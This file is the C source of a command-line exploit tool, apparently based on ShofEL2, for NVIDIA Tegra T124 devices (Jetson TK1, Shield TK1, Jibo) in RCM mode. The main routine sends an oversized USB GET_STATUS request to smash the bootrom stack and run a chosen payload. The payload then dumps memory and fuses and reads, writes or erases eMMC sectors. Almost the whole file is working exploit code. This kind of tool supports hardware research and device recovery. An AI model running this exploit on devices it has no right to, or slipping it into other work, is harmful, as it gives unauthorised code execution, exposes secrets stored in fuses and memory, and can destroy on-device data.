#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

#include "t124.h"
#include "rcm.h"
#include "fuse.h"
#include "mini_libusb.h"
#include "mem_dumper_usb_server.h"
#include "emmc_server.h"
#include "emmc.h"

#include <sys/stat.h>
#include <time.h>

void print_hex_memory( void *mem, size_t size ) {
  uint8_t *p = (uint8_t *)mem;
  for ( int i = 0; i < size ; i++ ) {
    if ( ( ( i % 16 ) == 0 ) && i )
      printf( "\n" );
    printf( "0x%02x ", p[i] );
  }
  printf( "\n" );
}

void print_help() {

    fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK | EMMC_STATUS | EMMC_READ | EMMC_WRITE | EMMC_READ_EXT_CSD | EMMC_ERASE ) [options]\n"
                "\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
                "\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
                "\t* BOOT_BCT -> Boots BCT without applying locks.\n"
                "\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
                "\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n"
                "\t* EMMC_STATUS -> Dumps SDMMC4 controller registers.\n"
                "\t* EMMC_READ start_sector num_sectors out_file -> Reads eMMC sectors to file (hex values).\n"
                "\t* EMMC_WRITE start_sector in_file -> Writes file to eMMC at start_sector (hex value).\n"
                "\t* EMMC_READ_EXT_CSD out_file -> Reads 512-byte EXT_CSD register (chip health/config info).\n"
                "\t* EMMC_ERASE start_sector end_sector -> Erases sectors (tells controller to reallocate bad blocks).\n\n" );

}

int main( int argc, char *argv[] ) {

    int _ret_main = -1;
    int rcm_usb = 0;

    uint8_t *data = NULL;

    int hacky_get_status_len = BOOTROM_SMASH_LEN;

    char *payload_filename = NULL;
    uint32_t payload_thumb_mode = 1;

    uint8_t *dump = NULL;
    uint32_t dump_start = 0;
    uint32_t dump_len = 0;
    char *dump_filename;
    int dump_fd = -1;
    uint8_t do_print_fuse = 0;

    int emmc_mode = 0; /* 0=none, 1=status, 2=read, 3=write, 4=read_ext_csd, 5=erase */
    uint32_t emmc_start_sector = 0;
    uint32_t emmc_num_sectors = 0;
    char *emmc_filename = NULL;


  // ---- PARSE ARGS ----

    if ( argc < 2 ) {
        fprintf( stderr, "Error: invalid argument count.\n\n" );
        print_help();
        goto exit;
    }

    if ( !strcmp( argv[1], "MEM_DUMP" ) ) {

        if ( argc != 5 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
            goto exit;
        }
        payload_filename = "mem_dumper_usb_server.bin";
        sscanf( argv[2], "%x", &dump_start );
        sscanf( argv[3], "%x", &dump_len );
        dump_filename = argv[4];

    } else if ( !strcmp( argv[1], "READ_FUSES" ) ) {

        if ( argc != 3 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
            goto exit;
        }
        payload_filename = "mem_dumper_usb_server.bin";
        dump_start  = FUSE_BASE;
        dump_len = FUSE_LEN;
        dump_filename = argv[2];
        do_print_fuse = 1;

    } else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {

        if ( argc != 2 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
            goto exit;
        }
        payload_filename = "boot_bct.bin";

    } else if ( !strcmp( argv[1], "PAYLOAD" ) ) {

        if ( ( argc != 3 ) && ( argc != 4 ) ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
            goto exit;
        }
        payload_filename = argv[2];
        if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
            payload_thumb_mode = 0;
        }

    } else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {

        if ( argc != 2 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
            goto exit;
        }

        payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
        hacky_get_status_len = BOOTROM_STACK_GAP_LEN;

    } else if ( !strcmp( argv[1], "EMMC_STATUS" ) ) {

        if ( argc != 2 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_STATUS.\n" );
            goto exit;
        }
        payload_filename = "emmc_server.bin";
        emmc_mode = 1;

    } else if ( !strcmp( argv[1], "EMMC_READ" ) ) {

        if ( argc != 5 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_READ start_sector num_sectors out_file.\n" );
            goto exit;
        }
        payload_filename = "emmc_server.bin";
        sscanf( argv[2], "%x", &emmc_start_sector );
        sscanf( argv[3], "%x", &emmc_num_sectors );
        emmc_filename = argv[4];
        emmc_mode = 2;

    } else if ( !strcmp( argv[1], "EMMC_WRITE" ) ) {

        if ( argc != 4 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_WRITE start_sector in_file.\n" );
            goto exit;
        }
        payload_filename = "emmc_server.bin";
        sscanf( argv[2], "%x", &emmc_start_sector );
        emmc_filename = argv[3];
        emmc_mode = 3;

    } else if ( !strcmp( argv[1], "EMMC_READ_EXT_CSD" ) ) {

        if ( argc != 3 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_READ_EXT_CSD out_file.\n" );
            goto exit;
        }
        payload_filename = "emmc_server.bin";
        emmc_filename = argv[2];
        emmc_mode = 4;

    } else if ( !strcmp( argv[1], "EMMC_ERASE" ) ) {

        if ( argc != 4 ) {
            fprintf( stderr, "Error: invalid argument count. shofel2_t124 EMMC_ERASE start_sector end_sector.\n" );
            goto exit;
        }
        payload_filename = "emmc_server.bin";
        sscanf( argv[2], "%x", &emmc_start_sector );
        sscanf( argv[3], "%x", &emmc_num_sectors );  /* Reusing num_sectors for end_sector */
        emmc_mode = 5;

    } else {

        fprintf( stderr, "Error: invalid command.\n\n" );
        print_help();
        goto exit;

    }

  // --------------------
  

  // ----- INIT RCM -----

    printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
    printf( "Trying Jetson TK1 (0x7140), Shield TK1 (0x7f40), Jibo (0x7740)...\n" );
    rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 0 );
    if ( rcm_usb < 0 )
        rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 0 );
    if ( rcm_usb < 0 )
        rcm_usb = usb_open_by_vid_pid( (uint16_t)JIBO_TK1_VID, (uint16_t)JIBO_TK1_PID, 1 );
    printf( "K1 in RCM mode connected.\n" );
    if ( rcm_usb < 0 ) {
        fprintf( stderr, "Error: Couldn't open the usb.\n" );
        goto exit;
    }

    uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
    memset( &chip_id_buf, 0, sizeof(chip_id_buf) );

    int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
    if ( ret < 0 ) {
        fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
        goto exit;
    }
    printf( "Chip ID: " );
    print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );

  //-----------------------


  // ---- SEND PAYLOAD ----
  
    ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
    if ( ret < 0 ) {
        printf( "Error: Couldn't send RCM CMD.\n" );
        goto exit;
    }

  //----------------------


  // ---- RUN EXPLOIT ----
  
    data = malloc( hacky_get_status_len );
    ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
            USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
    if ( ret == 0 ) {
        if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
            printf( "Hacky Get Status finished correctly... Showing Stack\n" );
            _ret_main = 0;
        } else {
            printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
        }
        print_hex_memory( data, hacky_get_status_len );
        goto exit;
    }

    printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );

  //----------------------


  // --- MEM DUMP CMD ----

    if ( dump_len ) {

        printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
        struct mem_dumper_args_s mem_dumper_args = {
            .start = dump_start,
            .len = dump_len
        };

        ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
        if ( ret < 0 ) {
            printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
            goto exit;
        }
    
        dump = malloc( dump_len );
        ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
        if ( ret < 0 ) {
            printf( "Error: Fail receiving memory dump.\n" );
            goto exit;
        }

        dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
        if ( dump_fd < 0 ) {
            printf( "Error: Fail opening dump out file.\n" );
            goto exit;
        }
        write( dump_fd, dump, dump_len );

        if ( do_print_fuse ) {
            print_fuses( (fuse_chip_registers_t *) dump );
        }
    }

  //----------------------


  // ---- EMMC CMD ----

    if ( emmc_mode ) {

        uint8_t *chunk_buf = malloc(EMMC_CHUNK_BYTES);
        if (!chunk_buf) {
            printf("Error: failed to allocate chunk buffer (size %u)\n", EMMC_CHUNK_BYTES);
            goto emmc_exit;
        }
        struct emmc_cmd_s emmc_cmd;

        if ( emmc_mode == 1 ) { /* EMMC_STATUS */

            emmc_cmd.op = EMMC_CMD_STATUS;
            emmc_cmd.start_sector = 0;
            emmc_cmd.num_sectors = 0;

            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
            if ( ret < 0 ) { printf( "Error: Failed to send STATUS command.\n" ); goto emmc_exit; }

            uint8_t regs[SDMMC4_REG_SIZE];
            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, SDMMC4_REG_SIZE, regs );
            if ( ret < 0 ) { printf( "Error: Failed to receive register dump.\n" ); goto emmc_exit; }

            printf( "SDMMC4 Register Dump (0x%08x - 0x%08x):\n", SDMMC4_BASE, SDMMC4_BASE + SDMMC4_REG_SIZE - 1 );
            print_hex_memory( regs, SDMMC4_REG_SIZE );

            uint32_t *r = (uint32_t*)regs;
            printf( "\n--- Payload Status ---\n" );
            printf( "  Magic:         0x%08x %s\n", r[0], r[0] == 0xCAFE0000 ? "(OK)" : "(BAD!)" );
            printf( "  Init Error:    0x%08x %s\n", r[1],
                    r[1] == 0 ? "(none)" :
                    (r[1] == 0xD0000001 && r[2]) ? "(clock warning - but init OK!)" : "(FAILED)" );
            printf( "  Initialized:   %u\n", r[2] );

            printf( "\n--- SDHCI Registers ---\n" );
            printf( "  PRESENT_STATE: 0x%08x\n", r[3] );
            printf( "  CLOCK_CONTROL: 0x%04x\n", r[4] );
            printf( "  INT_STATUS:    0x%08x\n", r[5] );
            printf( "  INT_ENABLE:    0x%08x\n", r[6] );
            printf( "  CAPABILITIES:  0x%08x\n", r[7] );
            printf( "  HOST_CONTROL:  0x%08x\n", r[8] );
            printf( "  RESPONSE[0-3]: 0x%08x 0x%08x 0x%08x 0x%08x\n", r[9], r[10], r[11], r[12] );

            uint32_t ps = r[3];
            uint32_t clk = r[4];
            printf( "\n--- Status Decode ---\n" );
            printf( "  Card Inserted:     %s\n", (ps & SDHCI_CARD_INSERTED) ? "YES" : "NO" );
            printf( "  CMD Inhibit:       %s\n", (ps & SDHCI_CMD_INHIBIT) ? "YES (busy)" : "NO (ready)" );
            printf( "  DAT Inhibit:       %s\n", (ps & SDHCI_DAT_INHIBIT) ? "YES (busy)" : "NO (ready)" );
            printf( "  Int Clock Enabled: %s\n", (clk & 0x0001) ? "YES" : "NO" );
            printf( "  Int Clock Stable:  %s\n", (clk & 0x0002) ? "YES" : "NO" );
            printf( "  SD Clock Enabled:  %s\n", (clk & 0x0004) ? "YES" : "NO" );
            printf( "  Clock Divider:     %u\n", (clk >> 8) & 0xFF );

            if (r[1] != 0) {
                printf( "\n  >>> INIT FAILED with error 0x%08x\n", r[1] );
                if (r[1] == 0xD0000001) printf( "      Internal Clock Stable bit never set (200ms timeout)\n" );
                else if ((r[1] & 0xF0000000) == 0xE0000000) {
                    uint32_t step = r[1] & 0xFFF;
                    const char *cmds[] = { "", "CMD0", "CMD1", "CMD1 timeout", "CMD2", "CMD3", "CMD7", "CMD16" };
                    if (step < 8) printf( "      Failed at: %s\n", cmds[step] );
                }
            }

            printf( "\n--- Sector 0 Read ---\n" );
            printf( "  Result: 0x%08x %s\n", r[13],
                    r[13] == 0 ? "(OK)" :
                    r[13] == 0xCAFE0001 ? "(skipped - not initialized)" : "(FAILED)" );
            if (r[13] == 0) {
                printf( "  First word (MBR):  0x%08x\n", r[15] );
            } else if (r[13] != 0xCAFE0001 && r[13] != 0) {
                printf( "  Error INT_STATUS:  0x%08x\n", r[14] );
                if (r[14] & 0x00010000) printf( "    -> Command Timeout Error\n" );
                if (r[14] & 0x00020000) printf( "    -> Command CRC Error\n" );
                if (r[14] & 0x00100000) printf( "    -> Data Timeout Error\n" );
                if (r[14] & 0x00200000) printf( "    -> Data CRC Error\n" );
                if (r[14] & 0x00400000) printf( "    -> Data End Bit Error\n" );
            }

            printf( "\n--- RESIDUAL STATE ---\n" );
            printf( "  CAR:\n" );
            printf( "    CLK_OUT_ENB_L:      0x%08x (SDMMC4 clk: %s)\n", r[16], (r[16] & 0x8000) ? "ON" : "OFF" );
            printf( "    RST_DEVICES_L:      0x%08x (SDMMC4 rst: %s)\n", r[17], (r[17] & 0x8000) ? "ASSERTED" : "DEASSERTED" );
            printf( "    CLK_SOURCE_SDMMC4:  0x%08x\n", r[18] );
            printf( "    PLLP_BASE:          0x%08x (en:%s lock:%s)\n", r[35],
                    (r[35] & (1u<<30)) ? "Y" : "N", (r[35] & (1u<<27)) ? "Y" : "N" );
            printf( "  PMC:\n" );
            printf( "    IO_DPD2_STATUS:     0x%08x\n", r[19] );
            printf( "    PMC+0xE8:           0x%08x (bit1: %u)\n", r[36], (r[36] >> 1) & 1 );
            printf( "  IROM table:\n" );
            printf( "    IRAM[0x400022FC]:   0x%08x %s\n", r[20],
                    (r[20] >= 0x100000 && r[20] < 0x110000) ? "(IROM ptr - good!)" :
                    (r[20] >= 0x40000000 && r[20] < 0x40040000) ? "(IRAM ptr)" :
                    r[20] == 0 ? "(NULL - corrupted!)" : "(unexpected!)" );
            printf( "    table[0]:           0x%08x\n", r[21] );
            printf( "    table[1]:           0x%08x\n", r[22] );
            printf( "  CAPABILITIES:         0x%08x (base_clk: %u MHz)\n",
                    r[23], (r[23] >> 8) & 0xFF );

            printf( "\n--- IROM device_init_generic CALL (attempt 29) ---\n" );
            printf( "  Return value:         0x%08x %s\n", r[24],
                    r[24] == 0 ? "(OK!)" : "(FAILED or corrupted)" );

            printf( "\n--- SDHCI INIT (after device_init_generic) ---\n" );
            printf( "  Clock stable poll:\n" );
            printf( "    0x2C after poll:    0x%08x (IntClk:%s Stable:%s div:0x%02x)\n",
                    r[25],
                    (r[25] & 1) ? "ON" : "OFF",
                    (r[25] & 2) ? "YES!" : "NO",
                    (r[25] >> 8) & 0xFF );
            printf( "    Stable:             %s\n", r[26] ? "=== YES! ===" : "NO" );
            printf( "  Final state:\n" );
            printf( "    0x2C final:         0x%08x (IntClk:%s Stable:%s SDClk:%s)\n",
                    r[27],
                    (r[27] & 1) ? "ON" : "OFF",
                    (r[27] & 2) ? "YES" : "NO",
                    (r[27] & 4) ? "ON" : "OFF" );
            printf( "    0x28 (hctl+pwr):    0x%08x (power:%s)\n",
                    r[28], (r[28] & 0x0100) ? "ON" : "OFF" );
            printf( "    PRESENT_STATE:      0x%08x (card:%s cmd_inh:%s dat_inh:%s)\n",
                    r[29],
                    (r[29] & 0x00010000) ? "IN" : "NONE",
                    (r[29] & 1) ? "Y" : "N",
                    (r[29] & 2) ? "Y" : "N" );
            {
                uint32_t dat_lines = (r[29] >> 20) & 0xF;
                uint32_t cmd_line = (r[29] >> 24) & 0x1;
                printf( "                        (DAT[3:0]=%u%u%u%u CMD=%u)\n",
                        (dat_lines>>3)&1, (dat_lines>>2)&1, (dat_lines>>1)&1, dat_lines&1, cmd_line );
            }
            printf( "    VENDOR_CLK_CTRL:    0x%08x\n", r[30] );
            printf( "    VENDOR_MISC_CTRL:   0x%08x\n", r[31] );

            printf( "\n--- CMD1 (SEND_OP_COND) Diagnostics ---\n" );
            printf( "  First OCR response:   0x%08x (ready:%s sector:%s)\n", r[32],
                    (r[32] & (1u<<31)) ? "YES" : "NO",
                    (r[32] & (1u<<30)) ? "YES" : "NO" );
            printf( "  Last OCR response:    0x%08x (ready:%s sector:%s)\n", r[33],
                    (r[33] & (1u<<31)) ? "YES" : "NO",
                    (r[33] & (1u<<30)) ? "YES" : "NO" );
            printf( "  CMD1 retries used:    %u\n", r[34] );

            printf( "\n  RESULT:               %s\n",
                    r[46] >= 5 ? "=== FULLY INITIALIZED! ===" :
                    r[46] == 4 ? "CMD2 OK (CMD3/7/16 failed)" :
                    r[46] == 3 ? "CMD1 OK (CMD2+ failed)" :
                    r[46] == 2 ? "CMD0 OK (CMD1 failed)" :
                    r[46] == 1 ? "Clock stable (CMD0 failed)" : "Clock unstable" );

            if ((r[1] & 0xF0000000) == 0xE0000000) {
                uint32_t err_code = r[49];
                uint32_t err_int = r[50];
                uint32_t err_pstate = r[51];
                const char *err_names[] = { "?", "CMD_INHIBIT timeout", "INT_ERROR", "CMD_COMPLETE timeout", "DAT_INHIBIT timeout" };
                printf( "  CMD error details:\n" );
                printf( "    send_cmd returned:  -%u (%s)\n", err_code,
                        err_code < 5 ? err_names[err_code] : "unknown" );
                printf( "    INT_STATUS:         0x%08x\n", err_int );
                printf( "    PRESENT_STATE:      0x%08x\n", err_pstate );
                if (err_int & 0x00010000) printf( "      -> Command Timeout Error\n" );
                if (err_int & 0x00020000) printf( "      -> Command CRC Error\n" );
                if (err_int & 0x00040000) printf( "      -> Command End Bit Error\n" );
                if (err_int & 0x00080000) printf( "      -> Command Index Error\n" );
                if (err_int & 0x00100000) printf( "      -> Data Timeout Error\n" );
                if (err_int & 0x00200000) printf( "      -> Data CRC Error\n" );
                if (err_pstate & 0x01) printf( "      -> CMD line still busy\n" );
            }

            _ret_main = 0;
        }

        if ( emmc_mode == 2 ) { /* EMMC_READ */

            dump_fd = open( emmc_filename, O_WRONLY | O_TRUNC | O_CREAT, 0644 );
            if ( dump_fd < 0 ) { printf( "Error: Failed to open output file: %s\n", emmc_filename ); goto emmc_exit; }

            printf( "Reading %u (0x%x) sectors starting from sector %u (0x%x)...\n",
                    emmc_num_sectors, emmc_num_sectors, emmc_start_sector, emmc_start_sector );
            printf( "Total size: %llu bytes (%.1f MB)\n",
                    (unsigned long long)emmc_num_sectors * EMMC_SECTOR_SIZE,
                    (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0) );

            emmc_cmd.op = EMMC_CMD_READ;
            emmc_cmd.start_sector = emmc_start_sector;
            emmc_cmd.num_sectors = emmc_num_sectors;

            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
            if ( ret < 0 ) { printf( "Error: Failed to send READ command.\n" ); goto emmc_exit; }

            uint32_t remaining = emmc_num_sectors;
            uint32_t sectors_done = 0;
            time_t start_time = time(NULL);

            while ( remaining > 0 ) {
                uint32_t batch = remaining > EMMC_CHUNK_SECTORS ? EMMC_CHUNK_SECTORS : remaining;
                uint32_t batch_bytes = batch * EMMC_SECTOR_SIZE;

                ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, batch_bytes, chunk_buf );
                if ( ret < 0 ) {
                    printf( "\nError: USB receive failed at sector %u (0x%x).\n",
                            emmc_start_sector + sectors_done, emmc_start_sector + sectors_done );
                    goto emmc_exit;
                }

                write( dump_fd, chunk_buf, batch_bytes );

                sectors_done += batch;
                remaining -= batch;

                if ( (sectors_done % 8000) == 0 || remaining == 0 ) {
                    time_t elapsed = time(NULL) - start_time;
                    double mb_done = (double)sectors_done * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
                    double mb_total = (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
                    double pct = (double)sectors_done * 100.0 / (double)emmc_num_sectors;
                    printf( "\r  Progress: %.1f / %.1f MB (%.1f%%) [%lds]   ",
                            mb_done, mb_total, pct, (long)elapsed );
                    fflush( stdout );
                }
            }

            printf( "\nRead complete. Output: %s\n", emmc_filename );
            _ret_main = 0;
        }

        if ( emmc_mode == 3 ) { /* EMMC_WRITE */

            int in_fd = open( emmc_filename, O_RDONLY );
            if ( in_fd < 0 ) { printf( "Error: Failed to open input file: %s\n", emmc_filename ); goto emmc_exit; }

            struct stat in_stat;
            fstat( in_fd, &in_stat );
            emmc_num_sectors = in_stat.st_size / EMMC_SECTOR_SIZE;

            if ( in_stat.st_size % EMMC_SECTOR_SIZE != 0 ) {
                printf( "Warning: File size not sector-aligned, truncating to %u sectors.\n", emmc_num_sectors );
            }

            printf( "Writing %u (0x%x) sectors starting at sector %u (0x%x)...\n",
                    emmc_num_sectors, emmc_num_sectors, emmc_start_sector, emmc_start_sector );
            printf( "Total size: %llu bytes (%.1f MB)\n",
                    (unsigned long long)emmc_num_sectors * EMMC_SECTOR_SIZE,
                    (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0) );

            emmc_cmd.op = EMMC_CMD_WRITE;
            emmc_cmd.start_sector = emmc_start_sector;
            emmc_cmd.num_sectors = emmc_num_sectors;

            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
            if ( ret < 0 ) { printf( "Error: Failed to send WRITE command.\n" ); close(in_fd); goto emmc_exit; }

            uint32_t remaining = emmc_num_sectors;
            uint32_t sectors_done = 0;
            time_t start_time = time(NULL);

            while ( remaining > 0 ) {
                uint32_t batch = remaining > EMMC_CHUNK_SECTORS ? EMMC_CHUNK_SECTORS : remaining;
                uint32_t batch_bytes = batch * EMMC_SECTOR_SIZE;

                int n = read( in_fd, chunk_buf, batch_bytes );
                if ( n < (int)batch_bytes ) {
                    printf( "\nWarning: Short read from file at sector offset %u.\n", sectors_done );
                    if ( n > 0 ) memset( chunk_buf + n, 0, batch_bytes - n );
                }

                ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, batch_bytes, chunk_buf );
                if ( ret < 0 ) {
                    printf( "\nError: USB send failed at sector %u (0x%x).\n",
                            emmc_start_sector + sectors_done, emmc_start_sector + sectors_done );
                    close( in_fd );
                    goto emmc_exit;
                }

                sectors_done += batch;
                remaining -= batch;

                if ( (sectors_done % 8000) == 0 || remaining == 0 ) {
                    time_t elapsed = time(NULL) - start_time;
                    double mb_done = (double)sectors_done * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
                    double mb_total = (double)emmc_num_sectors * EMMC_SECTOR_SIZE / (1024.0 * 1024.0);
                    double pct = (double)sectors_done * 100.0 / (double)emmc_num_sectors;
                    printf( "\r  Progress: %.1f / %.1f MB (%.1f%%) [%lds]   ",
                            mb_done, mb_total, pct, (long)elapsed );
                    fflush( stdout );
                }
            }

            close( in_fd );

            /* Receive write status from payload */
            uint32_t write_status;
            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 4, &write_status );
            if ( ret < 0 ) {
                printf( "\nError: Failed to receive write status.\n" );
                goto emmc_exit;
            }

            if ( write_status != 0 ) {
                printf( "\nError: eMMC write failed with status 0x%08x.\n", write_status );
                goto emmc_exit;
            }

            printf( "\nWrite complete.\n" );
            _ret_main = 0;
        }

        if ( emmc_mode == 4 ) { /* EMMC_READ_EXT_CSD */

            dump_fd = open( emmc_filename, O_WRONLY | O_TRUNC | O_CREAT, 0644 );
            if ( dump_fd < 0 ) { printf( "Error: Failed to open output file: %s\n", emmc_filename ); goto emmc_exit; }

            printf( "Reading EXT_CSD register (512 bytes)...\n" );

            emmc_cmd.op = EMMC_CMD_READ_EXT_CSD;
            emmc_cmd.start_sector = 0;
            emmc_cmd.num_sectors = 0;

            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
            if ( ret < 0 ) { printf( "Error: Failed to send READ_EXT_CSD command.\n" ); goto emmc_exit; }

            /* Receive 512 bytes of EXT_CSD data */
            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 512, chunk_buf );
            if ( ret < 0 ) {
                printf( "Error: USB receive failed.\n" );
                goto emmc_exit;
            }

            write( dump_fd, chunk_buf, 512 );

            /* Display some key EXT_CSD fields for user reference */
            printf( "\nEXT_CSD Register (hex dump):\n" );
            uint8_t *csd_data = (uint8_t *)chunk_buf;
            for ( int i = 0; i < 512; i += 16 ) {
                printf( "  %03x: ", i );
                for ( int j = 0; j < 16; j++ ) {
                    printf( "%02x ", csd_data[i+j] );
                }
                printf( "\n" );
            }

            printf( "\nEXT_CSD saved to: %s\n", emmc_filename );
            _ret_main = 0;
        }

        if ( emmc_mode == 5 ) { /* EMMC_ERASE */

            printf( "Erasing sectors %u (0x%x) to %u (0x%x) - forcing reallocation...\n",
                    emmc_start_sector, emmc_start_sector, emmc_num_sectors, emmc_num_sectors );

            emmc_cmd.op = EMMC_CMD_ERASE;
            emmc_cmd.start_sector = emmc_start_sector;
            emmc_cmd.num_sectors = emmc_num_sectors;  /* Reinterpreted as end_sector */

            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
            if ( ret < 0 ) { printf( "Error: Failed to send ERASE command.\n" ); goto emmc_exit; }

            uint32_t erase_status;
            ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, 4, &erase_status );
            if ( ret < 0 ) {
                printf( "Error: Failed to receive erase status.\n" );
                goto emmc_exit;
            }

            if ( erase_status != 0 ) {
                printf( "Error: eMMC erase failed with status 0x%08x.\n", erase_status );
                goto emmc_exit;
            }

            printf( "Erase complete. Sectors have been marked as reallocatable.\n" );
            _ret_main = 0;
        }

emmc_exit:
        if ( chunk_buf ) {
            free( chunk_buf );
            chunk_buf = NULL;
        }

        /* Send EXIT command to reset device to RCM */
        emmc_cmd.op = EMMC_CMD_EXIT;
        emmc_cmd.start_sector = 0;
        emmc_cmd.num_sectors = 0;
        usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof(emmc_cmd), &emmc_cmd );
    }

  //----------------------


    if ( !emmc_mode )
        _ret_main = 0;

exit:
    if ( rcm_usb > 0 ) usb_close( rcm_usb );
    if ( dump ) free( dump );
    if ( dump_fd > 0 ) close( dump_fd );
    if ( data ) free( data );

    return _ret_main;

}

